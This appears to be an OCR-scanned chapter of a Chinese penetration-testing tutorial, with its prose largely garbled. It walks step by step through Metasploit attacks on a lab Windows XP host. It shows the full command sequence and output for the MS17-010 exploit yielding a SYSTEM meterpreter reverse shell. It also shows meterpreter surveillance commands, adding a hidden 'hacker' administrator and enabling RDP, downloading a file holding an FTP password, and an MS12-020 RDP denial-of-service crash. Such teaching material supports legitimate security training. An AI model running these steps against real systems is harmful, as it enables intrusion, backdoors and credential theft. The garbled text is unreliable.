[+] 192.168.31.110:445 < Host is likely VULNERABLE to MS17-010! |- Windows 5.1 x86 (32-bit)
192.168.31.110: 445 - Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

msf6 auxiliary( ) > |

428 3.2.2.9 X E AR BATHBIE IR
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() 2 EMEHLE
ACE P 32 R T K th B AR E AL A AR, AR 4 B R,
T AA] BEAN SR F R ANAZ T

3.3, BERJuiTH FiX KRR 6R?

A3 T B ARIEAL 2R T A R AR B R 49 R T, 4F 3R R 49 3
BEARBARGRBAA R, AERFEEGBILF LA RIFE R
LB ARBR T, B0t arp 3 F & # KK G IEITRE .

3.3.1 /ARAA A

A7 38 i AL LA R R 9 A B i AZ AR B )6 1] AR5 msf 89
EAER, FEXEIERB FHRRMEEFE

3.3.1.1 ms17-010

ik KRS ANVBAR R R AT 2B, HRA T AR AL R
BNAZ

BV T B P& “MHk ms17-0107, 25 WEFRRALGZE,
T A& Bl windows & 7137 % Z L A HRA AR, BT B ka iR,

AHALBE, BETUAFENR, 2B 3.3.1.1, 3.3.1.2 Fi7F:

—Fﬁ Mscrosof vt MS17-010 - =58 | Micros...
2017 e T LISHAT " Tt J(‘,t:ur'tr TEE R ET TEET IR
BT E%‘- EEME = mEAEIT

docs.microsoft.com/zh-cnisecur.

4o 3.3.1.1 %% B
% 43 T



P 2 R 2 b
BEMEALE
B® Microsoft | Docs & team Qaa HREWH

Home

O AEEAERS ABT R ERENE.

T s 2017710711 - S B oy &

Security Updates - MSRC ppDocument i

> Security Advisoris Microsoft 228 MS17-010 - f=&

> Security Bulletin Summaries

~Security Bulletins

e Microsoft Windows SMB [RZESE2EH (4013389)
~2017 EFEEEE: 2017 E3 B 148
;0:77023 T

MS17-021 m?j-'mg

MS17-020

T IHHZ2EIHEFEET Micosoft Windows FRIZNFEL IZZI]EEEE%‘F@ Windows SMBv1 [REEAERFRRITRILE, HLEFE
Vo | PEESREA s R T .

P HIF Microsoft Windows BFFEESIER, s e Bty FE _ [exmann, BomRmmw IRREESE
MS17-016 éj\"

MS17-015 S ESRIRTEE SMBv1 SMNEEESRHAHTIIE RIS RS XRE.

MS17-014

TS EERLEEOREES, BRAREERTS.

MS17-012 EFRHEHNELEE, 15218 Microsoft HliREENE 4013389,

MS17-011

MS17-010 =58 BENEINE

SRR AR AT E SR

Ms17-008 TR AR ST, PN ERE S A RYCATR RSN, BRSNS, B2

“*Windows Vista**

[Windows Vista Service Pack 2] PR FLiRMIEHAT wE g SR RTEAT
(https://catalog.update.microsoft.com/v7 /site/search.aspx?
q=kb4012598) (4012598)

[Windows Vista x64 Edition Service Pack 2] FEEE LR fCIEHAT PEEE iR CERET
(https://catalog.update.microsoft.com/v7/site/search.aspx?
q=kb4012598) (4012598)

“*Windows Server 2008**

[Windows Server 2008 (BT 32 f1E4) Service Pack 2] IR FLiRM RO HAT wE g IR AT
(https://catalog.update.microsoft.com/v7 /site/search.aspx?
q=kb4012598) (4012598)

[Windows Server 2008 (ATET x64 BIESH) Service oEE Y FIREBHAT PR iR EEEIT
Pack 2]

(https://catalog.update.micrasoft.com/v7/site/search.aspx?

q=kb4012598) (4012598)

[Windows Server 2008 (FIFET ltanium FIESE) Service IEE Y TIEEHIT WPEE IR HEEHRIT
Pack 2]

(https://catalog.update.microsoft.com/v7/site/search.aspx?

q=kb4012598) (4012598)
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**Windows 10%*

[Windows 10 (7 32 {UF%) | PR TR CEBHIT
(https://catalog.update.microsoft.com/v7/site/search.aspx?
q=kb4012606)1%! (4012606)

[Windows 10 (BFE7 x64 BIE5) | PEE Y R HIT
(https://catalog.update.microsoft.com/v7/site/search.aspx?
q=kb4012606)1*! (4012606)

[Windows 10 kR4 1511 (BT 32 FEH) ] IR TR ACEEET
(https://catalog.update.micrasoft.com/v7/site/search.aspx?
q=kb4013198)1%! (4013198)

[Windows 10 k2= 1511 (BT ET x64 B9ESHK) ] PEE S R T
(https.//catalog.update.microsoft.com/v7/site/search.aspx?
q=kb4013198)1%! (4013198)

[Windows 10 RS 1607 (BT 32 UFESH) | SRR TRACERT
(https.//catalog.update.microsoft.com/v7/site/search.aspx?
q=kb4013429)1%1 (4013429)

[Windows 10 ki 1607 (BBTET x64 HESK) | R TR HIT
(https://catalog.update.microsoft.com/v7/site/search.aspx?
q=kb4013429)1%1 (4013429)

IP:

o 8 3.3.1. 2 sk R n 2
4, BAVIAE AL R MAALA) R AN TR TR AR 2 2

192.168.202. 136, 4= 3.3.1.3 B~

%
9
s
=
B
E
Pl

wEE REABRT

SR EEAIBRT

W EERBRT

“PEE BT

SEES TERERT

P TERET

BNAZ, BARIEHL

=) [G kali [ windows XP Professional
T = =

Wi 5.1.260081
H 1985-28681 Microsoft Corp.

C:“Documents and Settings“Administrator>ipconfiyg

Windows IP Configuration

Ethernet adapter _tﬂhw_
Connection—specific DNS Suffix . : local_doma_:i.n_
IP Addre T3 A
Subnet Mas 0 255,255
Default Gateway 192.168.282.
Ethernet adapter Bluetooth

Media State : Media disconnected

iC:“Documents and Settings“idministratorl

A 3.3.1.3 ZM¥es IP



BEMESE (o)

#F—F: B3 msf

Hr N msfconsole - q4=[& 3-28 Ff~,—q 89 & % &[4 banner
RTAEE, Bt ETA % U ASRRA) AL 5 51X 43 & AR 258

Ak, XBEZHIA—TE3.3.1.4 824 banner B AR T

RGBT, Ak BTOHRT—H, EARREE,

Xt e fmig EF FEHD

msfconsole

msf6 > |]

B 3.3.1.4 VAF43% banner 7 X2 3) msf

% —:. 1% H exploit #= payload

Hr N\ search ms17-010, £ & A7 ms17-010 /8 X @943k, 4w K
3.3.1.5 1,

#= 5

Name: 3 & 5, VA auxiliary FFk 89 2 Bh4E 3 vl exploit
T3k 649 & R iR A AL 3k

Disclosure Date: 4K H #7;

Rank: %4 .:
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Check: #%;

Description: #AZ3kiHik ;

root @kali: ~

Xttt INME HE ZE AED
msf6 > search ms17-010

Matching Modules

# Name Disclosure Date Rank Check Description

@ auxiliary/admin/smb/ms17_010@_command 2017-03-14 normal No MS17-01@ EternalR
omance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution

1 auxiliary/scanner/smb/smb_ms17_010 normal  No MS17-01@ SMB RCE
Detection

2 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalB
lue SMB Remote Windows Kernel Pool Corruption

3 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average MS17-01@ EternalB
lue SMB Remote Windows Kernel Pool Corruption for Win8+

4 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal MS17-01@ EternalR
omance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution

5 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 grea SMB DOUBLEPULSAR
Remote Code Execution

Interact with a module by name or index. For example info 5,

epuls

B3.3.1.5 %R
EERMNEF/FTAH 49 RFAER, B\ use 4 #HE F BP9,

4B 3.3.1.6 A

Mt infe WM 58 ME

msf6 > search ms17-01@

Matching Modules

# Name Disclosure Date Rank Description

0 auxiliary/admin/smb/ms17_01@_command 2017-03-14 normal MS17-010 EternalR
omance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution

1 auxiliary/scanner/smb/smb_ms17_010 normal MS17-01@ SMB RCE
Detection

2 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average S MS17-01@ EternalB
lue SMB Remote Windows Kernel Pool Corruption

3 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average MS17-010 EternalB
lue SMB Remote Windows Kernel Pool Corruption for Win8+

4 exploit/windows/smb/ms17_01@_psexec 2017-03-14 normal MS17-01@ EternalR
omance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution

5 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great > SMB DOUBLEPULSAR
Remote Code Execution

Interact with a module by name or index. For example

msf6 > use 4
Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit( ) > 1

Iﬁﬂ 3. 3. 1. (5 iﬁéiis ‘1 4%‘25%5F31§§i}€ E%g 417 ]ji



A )

5 4
%A

-\m
%@

BER

@

o S AEFE

msf6 exploit (windows/smb/ms17_010_psexec) : K& B A &
MEeBREFET 4 5 RFAKSR,

[*] Using configured pay |l oad
windows/meterpreter/reverse _tcp: 5 4 5 R IF A B AL A8 X 2
29 2k payload, Af A XA~ payload & B kAT A 69787 X B AEA
BIF, BIREERILTRATAAEEAN KRR (bde TEAR BT84
ATTXR AR R LER, 85T AR 24 4Pet st N) |, B AR
B VAAT ZART RBITABAT DR A, LA BZBINE? LA
LT R KRB 2 A5y 69 B 18] IR IR A RAT TR AE — AN B ], EAS
BITT Gl RAEREREELR L, IHFEETABITZIAN)E
T 28T AT, 3T ABORBRAT B8 &, T AERINE, L
TAZRFZRTCRIARNKRTELFF, LR HLINRITLE
MAIEH] T, AT ME SR RIT. —FZ X AT AEL T &
R F LI AR

AR AT e

R AE E AR # 1E ms17-010 7

£ MS/CVE % 2 A 4f

kR A A FENAT R3] EHF 4 5 kIR R

% 48 T




2
9
o
=
123,
o
P

J exploit

At A Tl — B K72 — A~ meterpreter

R A EY tep 445

(=

pay | oad

= % H RS =RNECE E: 3 B 3T top 4E4EIEH) AL
#y

>N

R HIRAAT IR HRAE B HIE. B K

A % BRI EE W de s — iR qf

3 XX/ payload iL 7T AMRAE & Fi% H s A 69, RATVRE A AR
AR payload, #HA1#r A show payloads = £ 42K 3.3.1.7 A
T, X HR R 4T AT windows/smb/ms17_010 _psexec X ANk i A

R AR 3 =T VA4E B 69 pay | oad,

ot WE =8 MR

msf6 exploit( ) > show payloads

Compatible Payloads

Name Disclosure Date Rank Check Description

#

(2] generic/custom normal No Custom Payload

1 generic/debug_trap normal No Generic x86 Debug Trap

2 generic/shell_bind_tcp normal No Generic Command Shell, Bind T
Inline
C

4

5

generic/shell_reverse_tcp normal No Generic Command Shell, Revers
P Inline
generic/tight_loop normal 0 Generic x86 Tight Loop
windows/dllinject/bind_hidden_ipknock_tcp normal Reflective DLL Injection, Hid
den Bind Ipknock TCP Stager

6 windows/dllinject/bind_hidden_tcp normal Reflective DLL Injection, Hid
den Bind TCP Stager

5 windows/dllinject/bind_ipv6_tcp normal Reflective Injection, Bin
d IPv6 TCP Stager (Windows x86)

8 windows/dllinject/bind_ipv6_tcp_uuid normal Reflective Injection, Bin
d IPv6 TCP Stager with UUID Support (Windows x86)

9 windows/dllinject/bind_named_pipe normal Reflective Injection, Win
dows x86 Bind Named Pipe Stager

10  windows/dllinject/bind_nonx_tcp normal Reflective Injection, Bin
d TCP Stager (No NX or win7)

11  windows/dllinject/bind_tcp normal Reflective Injection, Bin
d TCP Stager (Windows x86)

12 windows/dllinject/bind_tcp_rcé4 normal Reflective Injection, Bin
d TCP Stager (RC4 Stage Encryption, Metasm)

eT

B 3.3.1.7 & 4 5K Rk X ¥4 payload
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BEMEHE (o)

H A4 E M # ¥ payload, A iEHIA: set payload <payload
LA , X R KL AKX E KR EING . set payload
windows/meterpreter/reverse tcp , T ® 4% - payload =>
windows/meterpreter/reverse_tcp LB % AT payload €.427% F m,

7, 4’ 3.3.1.8 A

ncinject/reverse_https normal Windows x64 VNC Server (Refle
HTTP Stager (wininet)
normal 0 Windows VNC Server (Refle

normal Windows x64 VNC Server (Refle
Stage Encryption, Metasm)
uuid normal 0 Windows VNC Server (Refle
UUID support (Windo

nhttp normal 0 Windows x64 VNC Server (Refle
HTTP Stager (winhttp)
/ t/ _winhttps normal Windows x64 VNC Server (Refle
ctive Injection), Windows x6 HTTPS Stager (winhttp)

msf6 exploit( ) set payload windows/meterpreter/reverse_tcp
payload = windows/meterpreter/reverse_t
msfé exploit(

K 3.3.1.8 X & 4 R RAE 38 payload
MAEEMEKE A YA 45 RHFAEE exploit YARIZA tep 424E

4 payload ARA AL AR LN, RNAKMNARZLET exploit F=

i3 L

payload, &H LA
1% B F 3 E ey
P ¥t B VAH 2 A
— AT E RN
IP &%, #r show

options = % 4n

B 3.3.1.9 && 4 5 RFAEE exploit & payload &4

T 3.3.1.9 AT
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ERX 3 ¥ 8 %:F

Exploit A%k

RHOSTS: &3 49 B AR AL IP 3k, TLRUAS AR EA
FE A IP bk,

RPORT: xUshsm o, BIAL LB T 445, ZEMARBAT,
R AEAZ SR BRI 77 9 ssh IR 43R 2 445 3% 0, e 5
T 8001 smr, AP 4K EHEHK AR 8001, sHkF—HK, T 47
E M ssh JRH3F R 6Gh A2 445 350, PTAX BN E BHBHT .

Payload A%t :

LHOST: top 44 R 7%4% 4 2| 69k, ZRIAFLEAE B KRN L AT
kali ZEAS IP #oht, 2K INREFRE BB,

LPORT: tcp 444 R iR4E4E R 693 h 693% 0, BKIAR 4444, X

PRFINHATT o

R E A%

B AT &AM R F 21X & RHOSTS INAKAT AT, ARk EA
X, set RHOSTS < E 4% IP>, iX 2 RHOSTS 7T AN | B & —fg4F
RNEW, R ERMN: rh RGHTABRERLANIFTT, X —

NG, BF T TAP 445,
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msf6 exploit(
rhosts = 192.168.202.1:
msf6 exploit(

BMNBRERE-—THEHEARLTH LT, RALZM show

options H &4 ® 3.3.1. 11 B~

root@kali: -
Xt i &8

nsf6 exploit( show options

Module options (exploit/windows/smb/ms17_010_psexec)

Name
DBGTRACE
LEAKATTEMPTS
NAMEDPIPE

rrent < ing

amed_pipes.txt

ntax 'file:<path>'
445
_DESCRIPTION

3 _NAME
_NAME
ADMINS
ite folder

a normal read, share

SMBDomain

SMBUser

Payload options (windows terpreter;

Name Current Setting Required Description

EXITFUNC thread
LHOST 192.168.202.1
LPORT bbby

Exit technique (Accepted:
The listen address (an interface may be speci
The listen port

', seh, thread, pr

Exploit target:
Name

Automatic

exploit(

Description

how extra debug trace info
many tim to try te leak transaction
A named pipe that can be connected to (leave blank for
List of named pipes to check
), range CIDR identifier, or h

ort (TCP)
Service description to to be used on target pretty
The service display
The rvice name
The share to connect to,

name
can be an admin share (ADMIN$,
The Windows domain to use for authentication

The pa ord for the specified use
The username to authenticate as

none)

B 3.3.1. 11 23K E RS

HORE X

LRAAZE, HAVEA run RH exploit R HFIENIZ,

KL B A exploit, T REA X IRF XA L&A fh4Pee, 4o

K 3.3.1.12 Fr o=
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msf6 exploit( ) >| exploit

Started reverse TCP handler on 192.168.202.133:4444

192.168.202.136:445 - Target 0S: Windows 5.1

192.168. .136:445 - Filling barrel with fish ... done

192.168.202.136:445
.168. .136:445
2.168. .136: 445
.168. .136:445
2.168. .136: 445
2.168. .136: 445
2.168. .136:445
.168. .136: 445
.168. .136: 445
2.168. L136: 445
.168, .136:445
.168. .136:445
2.168.
2.168. .136: 445

Sending stage (17517

Meterpreter session

«———— | Entering Danger Zone | ————

[*] Preparing dynamite ...

[*] Trying stick 1 (x86) ... Boom!

[+] Successfully Leaked Transaction!

[+] Successfully caught Fish-in-a-barrel
¢«——— | Leaving Danger Zone | ——8M8M8M
Reading from CONNECTION struct at: @x89077998
Built a write-what-where primitive ...

Overwrite complete ... SYSTEM session obtained!
Selecting native target

Uploading payload ... oWJvVJIkB.exe

Created \owlvv]kB.exe ...

MNANMNRMNNNNNNDNRNNDND
SO0 00000000

NRNMNMMNRONNRNRODNRDRNDRD

Deleting \oWJvVIKB.exe ...
bytes) to 192.168.202.136
2 opened (192.168.202.133:4444 — 192.168.202.136:1383) at 2021-01-31 01:09:47 +0800

.136:445 - Service started successfully ...
4
2

meterpreter > [j

B 3.3.1.12 &7 A5

HAVAE 2] msf L HKAVBAE KT —/ meterpreter, X2 RTF
B kA9 top 4EdE. HRAVA — T msf AT F IEGR?

Uploading payload... oWJvVJkB.exe: F45_E4% payload &
142 5 oWJvVJKB. exe;

Created \oWJvVJKB. exe. .. : L/ oWJvVJKB. exe 4l 3 & 7 ;

Service started successful ly: IR%F B R, HEAAIE
T oWJVVJkB. exe ZANE ITAZ s ) T

Deleting \oWJvVJkB. exe: #|% oWJvVJkB. exe

XA meterpreter B9 KA Z T4, € A@T A —APTR

oLt exe F25 B BAREM, 25 ZIXE T AR ENAZ R THEY
IP 58, REBITEINEFEHFBREINSG kal i ZHHE L tep iF

B BB CFTAMARZIANRERERZ N exe 5 147,
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ES

BEMEHE (o)

R G IEATZ G RIRTT VAR 7% meterpreter i£4E, X ¥ & N3,

KAV FH — T X/ meterpreter FRAEMAT A, ¥r A help &9
£, ARFICHBSELST L, B 3.3.1.13 FiF:

Stdapi: File system Commands

Command Description

cat Read the contents of a file to the screen
cd Change directory

checksum Retrieve the checksum of a file
cp Copy source to destination

del Delete the specified file

dir List files (alias for 1s)
download Download a file or directory
edit Edit a file

getlwd Print local working directory
getwd Print working directory

lcd Change local working directory
11ls List local files

1pwd Print local working directory
1s List files

mkdir Make directory

mv Move source to destination

pwd Print working directory

rm Delete the specified file

rmdir Remove directory

search Search for files

show_mount List all mount points/logical drives
upload Upload a file or directory

B 3.3.1.13 #Zued

CLEIFEIHRERGES, 0B 3.3.1.14 Fra=: Bde T g R
download 474 T # X4 2] kal i AL, L7 LA4E H upload 44 L 4%

B Fehl, 8Lk A I AR AT B AR R G A 69 AR 4 .
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root @kali: ~

Xt @it &E EE B
meterpreter > help

Core Commands

Command Description

? Help menu
background Backgrounds the current session
Alias for background
Kills a background meterpreter script
Lists running background scripts
Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
irb Open an interactive Ruby shell on the current session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
migrate Migrate the server to another process
pivot Manage pivot listeners
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post meodule
secure (Re)Negotiate TLV packet encryption on the session

B 3.3.1.14 LHFR %S

A3t BARIRE R 94, 42 3.3.1.15 AT

Stdapi: System Commands

Command Description

clearev Clear the event log

drop_token Relinquishes any active impersonation token.

execute Execute a command

getenv Get one or more environment variable values

getpid Get the current process identifier

getprivs Attempt to enable all privileges available to the current process
getsid Get the SID of the user that the server is running as
getuid Get the user that the server is running as

kill Terminate a process

localtime Displays the target system local date and time

pgrep Filter processes by name

pkill Terminate processes by name

ps List running processes

reboot Reboots the remote computer

reg Modify and interact with the remote registry

rev2self Calls RevertToSelf() on the remote machine

shell Drop into a system command shell

shutdown Shuts down the remote computer

steal_token Attempts to steal an impersonation token from the target process
suspend Suspends or resumes a list of processes

sysinfo Gets information about the remote system, such as 0S

K3.31.15 2%




TR KB LB K w25, BERK B a4 T AR I B A7

il
e ITIO R, BRASF, AT EL KA T LA FNIT T BARITH
WGBSR BTN TR R E I8, 457 %4 B 3.3.1.16 Fi7:

Stdapi: User interface Commands

Command Description

enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop

idletime Returns the number of seconds the remote user has been idle
keyboard_send Send keystrokes

keyevent Send key events

keyscan_dump Dump the keystroke buffer

keyscan_start Start capturing keystrokes

keyscan_stop Stop capturing keystrokes

mouse Send mouse events

screenshare Watch the remote user desktop in real time
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop

uictl Control some of the user interface components

Stdapi: Webcam Commands

Command Description

record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat

webcam_list List webcams

webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam

B 3.3.1.16 X B4 B ITiR Kb

Meterpreter 44~/ 7~:
1) TFZAEE

YNG4 sysinfo, #E %, 4w 3.3.1.17 FiT:
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meterpreter > sy51nfo
Computer XP-F2790B46BC5C
0S : Windows XP (5.1 Build 2600, Service Pack 3).

Architecture : Xx86

System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >

K 3.3.1.17 & A% 5

2) HR1FFE % omd 44 K@

N4 shell, #EE# AT omd 44K @itz Y T
fe BARBI N omd 4 4@, KRIGHIN ipconfig TF ip duhk, 3
B 27892 B AR ip BRI K A B AR omd, B SLAL A P L4 8] AT

AR EE, 42K 3.3.1.18, 3.3.1.19 A

meterpreter >|shell

Process 3564 created.

Channel 1 created.

Microsoft Windows XP [€5 5.1.2600]

(C) 9OEQOOV© 1085-2001 Microsoft Corp.

C:\WINDOWS\system32:=ipconfig
ipconfig

Windows IP Configuration

Connection-specific DNS Suffix . : localdomain
IPCAOALBSS. o o e e e e e e e ek [18 201680202
STEEEG IR ST 0 s o a0 s o e e D s e P I
Default Gateway . . . . . . . . . : 192.168

Media State . : Media disconnected

C:\WINDOWS\system32>]]

3.3.1.19 cmd &
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REENE D

p
¢@
=

2\
1237
S

BN BT AL 2 BARENT , B2 — A3 64
IS XK AT AR R BRI T o F AR
VAkr N exit iB B shell, i& © %] meterpreter % ¥, i@ it
meterpreter X F o944 kA KT F AL 42 7T LAY,

¥ F P : run getgui —u hacker —p 123456, 4 3L: K5

hacker #%#%: 123456 4= 3.3.1.20 A

meterpreter > run getgul -u hacker -p 123456

[1] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp.
[1] Example:, run post/windows/manage/enable rdp OPTION=value [ ... ]

Windows Remote Desktop Configuration Melerpreter 'Script by Darkoperator
Carlos Perez carlos_perezgdarkoperator.com
Setting user account for logon

Adding User: hacker with Password: 123456

B 3.3.1.20 FAak5

3.3.1.21 Ao

C:\WINDOWS\system32>net localgroup administrators hacker /add
net localgroup administrators hacker /add

B 3.3.1.21 #4 8 F IR

ITIFiZ A2 3389 3% 2 :  run getgui -e 4 ® 3.3.1.22 B

meterpreter > run getgui =t

[1] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp.
[!] Example: run post/windows/manage/enable_rdp OPTION=value [ ... ]
Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
Carlos Perez carlos_perezgdarkoperator.com

Enabling Remote Desktop
RDP is already enabled

Setting Terminal Services service startup mode
The Terminal Services service is not set to auto, changing it to auto
Opening port in local firewall if necessary

For cleanup use command: run multi_console_command -r /root/.msf4/logs/scripts

B 3.3.1.22 drF 22 %@ iEdEimD
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(o) BEMEEE
ITHFZAE L@ : rdesktop 192.168.202.136:3389, &£&H 2 P

N K S E 8 RS ATE, de® 3.3.1.23,3.3.1. 24 B

Xt EhfE RE TZE EE

@ ~
rdesktop 192.168.202.136:3389

E%H Windows

BPEW:  |hacker
T (B) [t

[(®m= ][ m# [0 »]

B 3.3.1.23 M AK 5 £

X+ Eff #HRiE TF #E@D

@ ~
rdesktop 192.168.202.136:3389

Protocol(warning) g
Clipboard(error):
ard text request i
Protocol(warning) [ #as:
Clipboard(error):
ard text request
Protocel(warning)
Clipboard(error):
ard text request

0

rdesktop -192.168.202.136

E 3.3.1.24 R #HEANeh AL LB
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REMBAE ‘

3) T#EH LELA
T #H XA download 74, HALLIeH ¢ AR B KIHE A
jimi.txt X, R E2@MEE — LA HRILAKIEE ftp Fihde

K 3.3.1.25 P
- AMBE (

- ! aty ab !
VQre- @ [ P=r [0amx [E-
HitE (@) | 2

EJ '

v B#a

o o= D= =
| RS =) LJ g::‘:?:z:s and ‘/] phpSindy i,J Frogram Files

I FemmIEREEAN

Ty En R D= = %t %}{ " 04413047, exce

P BEEpRTER T R = e Shenzhan QVOD Ta.
| [FESEE B bat = jimi. tzxt

TAMTARES A gs—mlﬁs AT |= jﬁ%x"m

E) EhE s

B BT — .

[ Ssztrs B iinitxt - iodE

@ TR : THE MED RO BEW BHD

e

wwy.anquanrensheng.com-ftppassword=nicai

£ VBT R
TR

i FTERR I

X BRI

B 3.3.1.25 MEHE

HA1eC T3 2E| kali ¥ ix/root B E T, 44T ; download
C:/jimi.txt /root, 4=’ 3.3.1.26., 3.3.1.27 Ffi

meterpreter > download C:/jimi.txt
Downloading: C:/jimi.txt — /root/jimi.txt
Downloaded 40.00 B of 40.00 B (100.0%): C:/jimi.txt — /root/jimi.txt

download : C:/jimi.txt — /root/jimi.txt
meterpreter > Jj

B 3.3.1.26 FH M4
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SCHF(F)
wviw . anquanrensheng. com-ftppass

B 3.3.1.27 EFC T RN A5 R —F

Meterpreter 89 &L AR %, 2 G 4 B P 34T 2 — M5,
Bt A 5] AR mef B EMKAER A —ANERGTRT .

Jo K CEERE R RATANT, 3TANT 7R T VAR 'E M T 2
FRANT XA, HARZLHBM4FTRAEFH, aahEE;

3.3.1.2 ms12-020
T R DB —HREREN, B IREE LEL
HAGE S, FERMN A LA AR KBEGNIZERE, RELLA AN

& B 1A B R AR G
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HE ()

B

R
ST AR B 8GR AL T A 69 R B LA S8y, 2R AR
HAST OB, RATRKET.
T @ KAV AR E B E R AT A A ms12-020 X AN TR ik @ f
R, AARMNEAE—TRXA-ANEHGKEFR, »E 3.3.1.28
B, XA R —ANF B IZAE 2 & ok AT A9 IR IF

Security Bulletin

Microsoft L2238 MS12-020 - f=&&
iR EPRNERTsE R TiER TS (2671387)

AFoEdE): 2012535130 | EFd(E: 2012575310
RRZs: 2.1

—RRIER

wmE

2 EFF o RTE Sl R R SRR, NEREERSHIINERES UL E—Z7iE5] ROP #0EE, NiXR
A ETEER A AR R TIETEE, BABR T, T Windows IERFEFEAIERmNY, (ROP), 2BEA
RDP RURSE 5T,

FTF Microsoft Windows FFESI50RA, ZEeBFNSHATE", 5XAHAER, B2EAT T SRRNAZ2m
BOERE /TS,

ZZ e ENET e R I INERTTREIEER S TUL RDP IRSIMNESIEERATURENEE. BROXEmEINnE
MWES, BEE B BER TESEREREN BIEE (FAQ /M,

BN, AEHEraERT ENER, I WRIIEHURE, EhltZzeBEmEEa MHEE. B REE 8BS
BTSN, HFoESRtEs. BXEHENHSERERRINER, 525 Microsoft FHREENE 294871,

B 3.3.1.27 AL TR LA 5 R —K

WFT, FFAEAENL:
B, S5 mef, HE ms12-020 AR A KBk, 4o
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3.3.1.28 prar:

root @kali: ~

Xt hff tRiE =& ME

e
msfé6 > search ms12-020

Matching Modules

# Name Disclosure Date Rank
Description

@ auxiliary/dos/windows/rdp/ms12_020_maxchannelids 2012-03-16 normal
MS12-020 Microsoft Remote Desktop Use-After-Free DoS

1 auxiliary/scanner/rdp/ms12_020_ check normal
MS12-0820 Microsoft Remote Desktop Checker

Interact with a module by name or index. For example inf

B 3.3.1.28 M & Ag XAk

BAVARG R T A d, F—ADRBLLTAL R @ K E dos £
FTARIE, FALAREEG, RN E A RES

MrNuse 1, &AL HKEE:

msf6 > use 1
msf6 auxiliary( ) > show options

Module options (auxiliary/scanner/rdp/ms12_020_check):

Name Current Setting Required Description

RHOSTS yes The target host(s), range CIDR identifier, or
hosts file with syntax 'file:<path>'

RPORT 3389 yes Remote port running RDP (TCP)

THREADS 1 yes The number of concurrent threads (max one per
host)

msf6 auxiliary( ) > 1

K 3.3.1.29 A 5HBE
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FAEE BAR IP A EE 5 IP:192. 168.202. 136, iX Z 445
EOLBAEZATHEE PR, B RFRE, REFERT, &£

3| AR ENA A ZIARA 4o’ 3.3.1.30 i

Module options (auxiliary/scanner/rdp/ms12_020_check):

Name Current Setting Required Description

RHOSTS yes The target host(s), range CIDR identifier, or
hosts file with syntax 'file:<path>'

RPORT 3389 yes Remote port running RDP (TCP)

THREADS 1 yes The number of concurrent threads (max one per
host)

msf6 auxiliary( ) > set RHOSTS 192.168.202.136
RHOSTS = 192.168.202.136
msf6 auxiliary( ) > exploit

[+] 192.168.202.136:3389 - 192.168.202.136:3389 - |The target is vulnerable.
192.168.202.136:3389 - Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

msf6 auxiliary( N |

K 3.3.1.30 ¥ B AR ZAE XA R T

769, ARBANFAESITERLE, ALE I AFERGT
m, KA AN back AEGEHEBT, AESH ANuse O biITA8 Y T

|7 H3.3.1.28, 40[q 3.3.1.31 FfT=:

msfé auxiliary > exploit

[+] 192.168.202.136:3389 - 192.168.202.136:3389 - The target is vulnerable.
192.168.202.136:3389 - Scanned 1 of 1 hosts (100% complete)

Auxiliary module execution completed
msf6 auxiliary( ) > back
msfé > use @
msf6 auxiliary( N |

B 3.3.1.31 s 3FH7 69 kIR H Ak

RIMEAMNEEE 2N EASAYK, FHEXEAIRIP, 4wE 3.3.1.32

P
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msf6 auxiliary( ) > show options

Module options (auxiliary/dos/windows/rdp/ms12_020_maxchannelids):

Name Current Setting Required Description
RHOSTS yes The target host(s), range CIDR identifier, or h
osts file with syntax 'file:<path>'
RPORT 3389 yes The target port (TCP)

msf6 auxiliary( ) > set RHOSTS 192.168.202.136
RHOSTS = 192.168.202.136
msf6 auxiliary( ) > 1

B 3.3.1.32 ELXEAK

BT RATE R B A D E I @LAEF GRS, 42K 3.3.1.33

P

B 3.3.1.33 ©REH THhRAE

569, RMIEBN “exploit” RFE “run” R RAZHXE, 2

AE T2 exploit, T HKRATH run RE =, B 3.3.1.34 Fi:

msf6 auxiliary( ) > set RHOSTS 192.168.202.136
RHOSTS = 192.168.202.136
msf6 auxiliary( ) > run

Running module against 192.

192.168.202.136:3389 - 192.168.202. : Sending MS12-02@ Microsoft Remote D
esktop Use-After-Free DoS

192.168.202.136:3389 - 192 2. 5 210 bytes sent

192.168.202.136:3389 - 192 - : Checking RDP status ...

B 3.3.1.34 45 R E KX FHIEQ % 65 I



i, BAREMCELERT, B 3.3.1.35 Ffe:

iy £ [ kali [ Windows XP Professional

event damage

sCreen,

in, Tollow

B 3.3.1.35 w5 B4

BIARR G RIL T ER RN, —ARRXAZAERLEEE, F—
ANHAITIFANT o TAH AL A BE] —ANFF B TR LD EERT
R REAT AERAI R, TRLEEAGZLILAN, FTARF
FENS, —RBICIFREL R GITANT .

3.3.1.3 ms10-046

XA R T CASR BB T F A R KA AT 7 X, K
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(o) BEMELE
